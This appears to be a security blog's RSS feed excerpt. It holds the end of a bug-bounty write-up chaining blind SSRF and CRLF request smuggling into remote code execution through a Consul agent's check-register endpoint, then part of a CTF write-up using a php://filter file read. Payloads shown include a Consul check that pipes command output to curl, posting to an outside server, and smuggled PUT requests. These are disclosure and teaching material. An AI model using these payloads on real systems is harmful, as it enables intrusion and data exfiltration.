&lt;h3 id=&quot;a-wild-consul-appears&quot;&gt;A wild Consul appears!&lt;/h3&gt;

&lt;p&gt;At this stage, it didn’t seem possible to reflect any data fetched from a remote source. In order to further validate this, I performed a quick check to see whether a number of different URIs were able to be used with the external fetch in place of HTTP. The thought was that an another protocol handler might yield a different result, potentially accidentally leaking data in the error presented to the user. As part of this testing, a number of URIs were attempted, including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file:///&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcp://&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gopher://&lt;/code&gt;, and a few others. Unfortunately all of these URIs appeared to be passed to a Ruby HTTP library that would simply not perform any request that didn’t have an HTTP / HTTPS URL.&lt;/p&gt;

&lt;p&gt;As one last ditch effort to return &lt;em&gt;some&lt;/em&gt; sort of data, a few localhost URLs were entered to see how the HTTP library would handle non-printable data.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The first attempt was for TCP 22 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://127.0.0.1:22&lt;/code&gt;) which returned a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Connection reset by peer&lt;/code&gt; error.
    &lt;ul&gt;
      &lt;li&gt;This was a good indication that there was an SSH service listening which didn’t like our request.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The second request was for TCP 5666 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://127.0.0.1:5666&lt;/code&gt;) which yielded a timeout.
    &lt;ul&gt;
      &lt;li&gt;This indicated that there was likely no NRPE (Nagios Remote Plugin Executor) agent on the machine, or at least not accessible from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The final request was for TCP 8500 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://127.0.0.1:8500&lt;/code&gt;) which returned the same XML parsing error encountered when a valid HTTP 2XX response was encountered.
    &lt;ul&gt;
      &lt;li&gt;This was a good indication that there was likely a Hashicorp Consul agent running on the machine.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;so-now-what&quot;&gt;So now what?&lt;/h3&gt;

&lt;p&gt;At this stage the following was known about the target:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;External documents were able be fetched from HTTP / HTTPS sources.&lt;/li&gt;
  &lt;li&gt;Requests sent from the service were SOAP, and were submitted to the user provided URL via HTTP POST.&lt;/li&gt;
  &lt;li&gt;XML External Entities were disabled on the XML parser.&lt;/li&gt;
  &lt;li&gt;There was a local Hashicorp Consul agent on the machine (potentially).&lt;/li&gt;
  &lt;li&gt;Response data was never returned to the user on HTTP 2XX, only on HTTP 4XX.&lt;/li&gt;
  &lt;li&gt;HTTP 3XX messages were unhandled, and redirections were not followed.&lt;/li&gt;
  &lt;li&gt;No data was returned on HTTP 2XX responses.&lt;/li&gt;
  &lt;li&gt;The agent fetching remote URLs was written in Ruby based on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user-agent&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Given that I had previously encountered Hashicorp Consul agents in other bounty programs, I turned to the Consul manual to see whether there were any endpoints that may assist in escalating this vulnerability into something less lame.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/manual.png&quot; alt=&quot;&amp;quot;This lost a LOT in the translation&amp;quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Luckily, after a bit of searching I found a reference in the Consul documentation which made mention of an endpoint at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/v1/agent/check/register&lt;/code&gt;; allowing for registration of a ‘check command’ (arbitrary shell command) via an HTTP PUT request. Although the Consul agent does allow for ACLs to be applied to these endpoints to limit use, this is &lt;strong&gt;not enabled by default&lt;/strong&gt; so I thought it was worth a try.&lt;/p&gt;

&lt;p&gt;In order to test this I fired up a local VM and installed the Consul agent in order to construct a valid payload and test on a default installation. After a short while, I had the following payload constructed which would execute a shell command and pipe the output to a remote server using an HTTP POST every 60 seconds:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
    &quot;id&quot;: &quot;DarkarniumTest&quot;,
    &quot;name&quot;: &quot;DarkarniumTest&quot;,
    &quot;script&quot;: &quot;/bin/uname -a | /usr/bin/curl -k -XPOST -d @- https://some-server&quot;,
    &quot;interval&quot;: &quot;60s&quot;,
    &quot;timeout&quot;: &quot;5s&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ignoring the fact that I was unable to specify a payload in the target web application, I also found that the Consul check registration endpoint endpoint would &lt;strong&gt;NOT&lt;/strong&gt; respond to an HTTP POST, only an HTTP PUT.&lt;/p&gt;

&lt;h3 id=&quot;so-put-from-a-post&quot;&gt;So, PUT from a POST?&lt;/h3&gt;

&lt;p&gt;The final piece of the puzzle to solve was how to construct an HTTP PUT with a specific JSON body (the check payload above) from a script which was hardcoded to perform HTTP POST with a non user controllable payload. Thinking back to potential caveats with URL parsing, I remembered encountering issues in the past with Ruby and Python HTTP libraries not properly handling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\r\n&lt;/code&gt; (Carriage-Return, Line-Feed) characters in URLs and HTTP headers. The result of this was usually that a user could inject arbitrary HTTP headers or payloads into predefined HTTP requests by tampering with the URL in the right way.&lt;/p&gt;

&lt;p&gt;To test whether this was able to be used in this case, I constructed an URL which, if handled incorrectly by the library, should add a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Connection: Keep-Alive&lt;/code&gt; HTTP header to the request and tack on a subsequent HTTP PUT operation after the ‘hardcoded’ HTTP POST. This initial test URL looked something like the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://mockbin.org/bin/UUID?Test1 HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /bin/UUID?Test2 HTTP/1.0\r\n\r\n\r\n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to test this, I performed a regular request in the web application using a browser and then replayed the request using OWASP ZAP in order to allow for tampering with the payload after the fact.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/POST_PUT.png&quot; alt=&quot;POST / PUT&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Success! The HTTP library appeared to be incorrectly processing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\r\n&lt;/code&gt; characters in the URL HTTP GET parameters, and injecting additional HTTP requests! As a result, it was confirmed possible to construct arbitrary HTTP requests after the initial hard-coded HTTP POST using only the URL.&lt;/p&gt;

&lt;h3 id=&quot;putting-it-all-together&quot;&gt;PUTting it all together.&lt;/h3&gt;

&lt;p&gt;Now that I had a method to perform arbitrary HTTP requests against a given server I could finally confirm whether the TCP 8500 listener was indeed an Hashicorp Consul agent, and whether it had been ACL’d appropriately.&lt;/p&gt;

&lt;p&gt;In order to test this, I constructed a URL which used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\r\n&lt;/code&gt; characters to terminate the original HTTP POST with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Length&lt;/code&gt; of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; (with a payload of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;) and then perform a ‘follow-on’ request containing an HTTP PUT request to create an ‘HTTP check’ inside of the Consul agent. The constructed URL looked something like the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://127.0.0.1:8500/? HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /v1/agent/check/register HTTP/1.1\r\nHost: example.org\r\nContent-Length: 121\r\n\r\n{&quot;id&quot;: &quot;BugcrowdDarkarnium&quot;,&quot;name&quot;: &quot;BugcrowdDarkarnium&quot;,&quot;http&quot;: &quot;http://some-server/&quot;,&quot;interval&quot;: &quot;60s&quot;,&quot;timeout&quot;: &quot;5s&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After submission of this payload in the URL field I had to wait for up to a minute to see whether the ‘check’ would fire, as the interval was configured to 60 seconds to prevent loading up the server with unnecessary HTTP requests.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/consul-http-get-sanitized.png&quot; alt=&quot;Lookin good!&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A few anxious moments later, I saw a successful HTTP PUT against my testing server with a User-Agent of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Consul Health Check&lt;/code&gt;, confirming that this was both a Consul agent and that ACLs weren’t applied to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;check&lt;/code&gt; endpoint!&lt;/p&gt;

&lt;p&gt;In order to confirm whether I &lt;strong&gt;could&lt;/strong&gt; use this to pop a shell on the remote system (without actually popping a shell, given that this was a bounty program not a red team exercise), I modified the request slightly; replacing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http&lt;/code&gt; check with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script&lt;/code&gt; check configured it to pipe the result of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uname -a&lt;/code&gt; into an HTTP POST request using CURL. The final payload looked something like the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://127.0.0.1:8500/? HTTP/1.1\r\nConnection: keep-alive\r\nHost: example.org\r\nContent-Length: 1\r\n\r\n1\r\nPUT /v1/agent/check/register HTTP/1.1\r\nHost: example.org\r\nContent-Length: 195\r\n\r\n\u007B\u0022id\u0022: \u0022BugCrowdDarkarnium\u0022,\u0022name\u0022: \u0022BugCrowdDarkarnium\u0022,\u0022script\u0022: \u0022/bin/uname -a | /usr/bin/curl -k -XPOST -d @- https://some-server/writer/writer.php?f=uname\u0022,\u0022interval\u0022: \u002260s\u0022,\u0022timeout\u0022: \u00225s\u0022\u007D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once again, I dropped this new payload into the “URL” field and submitted the payload, waiting anxiouslyt to see whether it’d execute the command and send the output back over HTTPS…&lt;/p&gt;

&lt;p&gt;A few moments later, I heard a ping from my Nginx logs which confirmed that I had an RCE!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/consul-https-rce-sanitized.png&quot; alt=&quot;Pop!&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With that, I constructed a few more requests to remove these injected &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;check&lt;/code&gt; commands from Consul, grabbed a beer, finished writing-up the report and submitted the bug over to the kind folks at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$provider&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;thanks&quot;&gt;Thanks&lt;/h3&gt;

&lt;p&gt;A big thanks to the Bugcrowd ASE that helped triage this bug, and got the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$provider&lt;/code&gt; folks looped in quickly. I’d also like to thank &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$provider&lt;/code&gt; for the great communication, quick fix and the bounty; keep it up! :)&lt;/p&gt;

&lt;p&gt;Finally, cheers to @yrp604 for proofreading this write-up and correcting my terrible grammar. &lt;em&gt;Edit:&lt;/em&gt; Cheers to @bradleyfalzon for some additional spelling fixes ;)&lt;/p&gt;
</description>
        <pubDate>Mon, 29 May 2017 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html</guid>
        
        
      </item>
    
      <item>
        <title>BKP CTF - Wackusensor Write-Up</title>
        <description>&lt;p&gt;Given the quality of the last Boston Key Party (BKP) CTF it wasn’t unexpected that there would be some great challenges again this year. Wackusensor certainly fell into that category, providing an interesting target while not being as quite as difficult to solve as some of the other cloud challenges.&lt;/p&gt;

&lt;p&gt;This was a great Saturday afternoon challenge, yielding 100 points for our team (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Haxation Without ROPresentation&lt;/code&gt;) after a bit of documentation review and successful exploitation of some fairly common vulnerabilities encountered when using certain PHP functions incorrectly.&lt;/p&gt;

&lt;h3 id=&quot;wackusensor&quot;&gt;Wackusensor&lt;/h3&gt;

&lt;p&gt;When first opened in a browser, the Wackusensor challenge landing page mentioned that although ‘Acunetix Acusensor’ had been deployed to the server it wasn’t working as expected.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-home.png&quot; alt=&quot;O Hai&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first link in the challenge text links to the Acunetix Acusensor website, and the second to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.txt&lt;/code&gt; copy of the installed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect.php&lt;/code&gt; instrumentation script.&lt;/p&gt;

&lt;h3 id=&quot;tldr-the-solution&quot;&gt;TL;DR: The Solution&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -D - &quot;http://54.200.58.235/index.php?super_secret_parameter_hahaha=php://filter/read=convert.base64-encode/resource=/var/www/html/super_secret_file_containing_the_flag_you_should_read_it.php&quot; \
-H &quot;Acunetix-Aspect: enabled&quot; \
-H &quot;Acunetix-Aspect-Password: 4faa9d4408780ae071ca2708e3f09449&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;rtfm&quot;&gt;RTFM&lt;/h3&gt;

&lt;p&gt;As the provide &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect&lt;/code&gt; script had been ‘minified’ the first step was to reformat the code into something more readable in order to gain an understanding into what this script would do when called. In addition to this, the &lt;a href=&quot;http://www.acunetix.com/support/docs/installing-acusensor/&quot;&gt;Acunetix Acusensor installation manual&lt;/a&gt; was consulted in order to understand how this instrumentation &lt;em&gt;should&lt;/em&gt; work when properly deployed.&lt;/p&gt;

&lt;p&gt;The found documentation mentioned that an installation specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect.php&lt;/code&gt; file (generated during setup) should be installed onto the web server, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php.ini&lt;/code&gt; configuration file be updated to include this script as part of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auto_prepend_file&lt;/code&gt; directive. A quick search of the PHP manual for this directive yielded the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/curious.png&quot; alt=&quot;Curiouser and curiouser!&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Given that the documentation indicated that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect.php&lt;/code&gt; script would be ‘auto-loaded’ before any PHP is executed on the server, we were fairly certain that it likely contained a method to extract the flag.&lt;/p&gt;

&lt;h3 id=&quot;keys-and-headers&quot;&gt;Keys And Headers&lt;/h3&gt;

&lt;p&gt;A quick review of the reformatted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect.txt&lt;/code&gt; indicated that two HTTP Headers would need to be present in a request in order for the instrumentation to execute. This code also made reference to a 32-character hash called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP_ACUNETIX_ASPECT_PASSWORD&lt;/code&gt;; which was automatically read from the end of the same instrumentation script on execution:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$_ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'_AAS0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HTTP_ACUNETIX_ASPECT&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HTTP_ACUNETIX_ASPECT&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;enabled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'_AAS0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$_ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'_AAS0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HTTP_ACUNETIX_ASPECT_PASSWORD&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$_AAS1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'r'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;fseek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_AAS1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;SEEK_END&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$_ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;_AAS2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;stream_get_contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_AAS1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;unset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_AAS1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$_ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'_AAS0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HTTP_ACUNETIX_ASPECT_PASSWORD&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_ENV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;_AAS2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to confirm our suspicions were correct, the Acunetix Acusensor manual was consulted once again, and the key extracted from the end of the provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-acu_phpaspect_txt.png&quot; alt=&quot;A key? A key!&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;twiddling-bits&quot;&gt;Twiddling Bits&lt;/h3&gt;

&lt;p&gt;Now that we had the keys and a basic understanding of how to invoke the installed instrumentation it was time to give it a shot and see what happened. The two HTTP headers which were required to be present in order for the instrumentation to work were as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Acunetix-Aspect-Password&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Containing the 32-character hash from the end of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect.txt&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Acunetix-Aspect&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Containing the string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enabled&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As luck would have it, when an HTTP request was submitted to the server with the above headers present, the following HTML comments were ‘automagically’ appended to the response by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acu_phpaspect&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -D - &quot;http://54.200.58.235/index.php&quot; \
-H &quot;Acunetix-Aspect: enabled&quot; \
-H &quot;Acunetix-Aspect-Password: 4faa9d4408780ae071ca2708e3f09449&quot;

HTTP/1.1 200 OK
...
&amp;lt;!--BKPASPECT:MDAwMDAwMDRQQU5HbjAwMDAwMDAwMDAwMDAwMDBu--&amp;gt;&amp;lt;html&amp;gt;
...
&amp;lt;!--BKPASPECT:MDAwMDAwMTBQSFBfRmlsZV9JbmNsdWRlczAwMDAwMDNDc3VwZXJfc2VjcmV0X2ZpbGVfY29udGFpbmluZ190aGVfZmxhZ195b3Vfc2hvdWxkX3JlYWRfaXQucGhwMDAwMDAwMTcvdmFyL3d3dy9odG1sL2luZGV4LnBocDAwMDAwMDBGczAwMDAwMDE1ImluY2x1ZGUiIHdhcyBjYWxsZWQuMDAwMDAwMEFWYXJfQWNjZXNzYTAwMDAwMDAyMDAwMDAwMDNHRVQwMDAwMDAwMXMwMDAwMDAxNy92YXIvd3d3L2h0bWwvaW5kZXgucGhwMDAwMDAwMTJuMDAwMDAwMEFWYXJfQWNjZXNzYTAwMDAwMDAyMDAwMDAwMDNHRVQwMDAwMDAxRHN1cGVyX3NlY3JldF9wYXJhbWV0ZXJfaGFoYWhhMDAwMDAwMTcvdmFyL3d3dy9odG1sL2luZGV4LnBocDAwMDAwMDE0bg==--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;encoding-to-victory&quot;&gt;Encoding To Victory?&lt;/h3&gt;

&lt;p&gt;Given the appended &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BKPASPECT&lt;/code&gt; strings looked suspiciously like Base64 encoded data, the value of the larger of the two was piped into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64 -d&lt;/code&gt; in order to attempt to decode it.&lt;/p&gt;

&lt;p&gt;After a small amount of clean-up the following was the result of the Base64 decode:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-super_secret_squirrel.png&quot; alt=&quot;Not So Super Secret Squirrel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Given the name of the included PHP script at the top of the decoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BKPASPECT&lt;/code&gt; string, the first thing we tried was fetching the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_file_containing_the_flag_you_should_read_it.php&lt;/code&gt; file directly:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-no_dice.png&quot; alt=&quot;No Dice&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, both the output as well as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BKPASPECT&lt;/code&gt; from this file did not contain the flag. Boo!&lt;/p&gt;

&lt;h3 id=&quot;not-so-secret&quot;&gt;Not So Secret&lt;/h3&gt;

&lt;p&gt;In addition to just the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_file...&lt;/code&gt; in the original request, a reference to an HTTP GET paramater named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_parameter_hahaha&lt;/code&gt; was also seen.&lt;/p&gt;

&lt;p&gt;Given that the flag was supposedly inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_file_containing_the_flag_you_should_read_it.php&lt;/code&gt; - which was not able to be read directly - this additional &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret&lt;/code&gt; parameter was likely the path to getting the flag. In order to determine what this HTTP GET parameter was intended to be used for, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_parameter_hahaha=true&lt;/code&gt; was appended to the initial request and the request was submitted once again.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/waku-file_get_contents.png&quot; alt=&quot;Uh oh.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The output stated, plain as day, that the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_parameter_hahaha&lt;/code&gt; HTTP GET parameter was being passed directly to a PHP &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_get_contents()&lt;/code&gt; call. In order to test whether things were going to be easy, the value of this parameter in our request was changed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super_secret_file_containing_the_flag_you_should_read_it.php&lt;/code&gt; and the request resent.&lt;/p&gt;

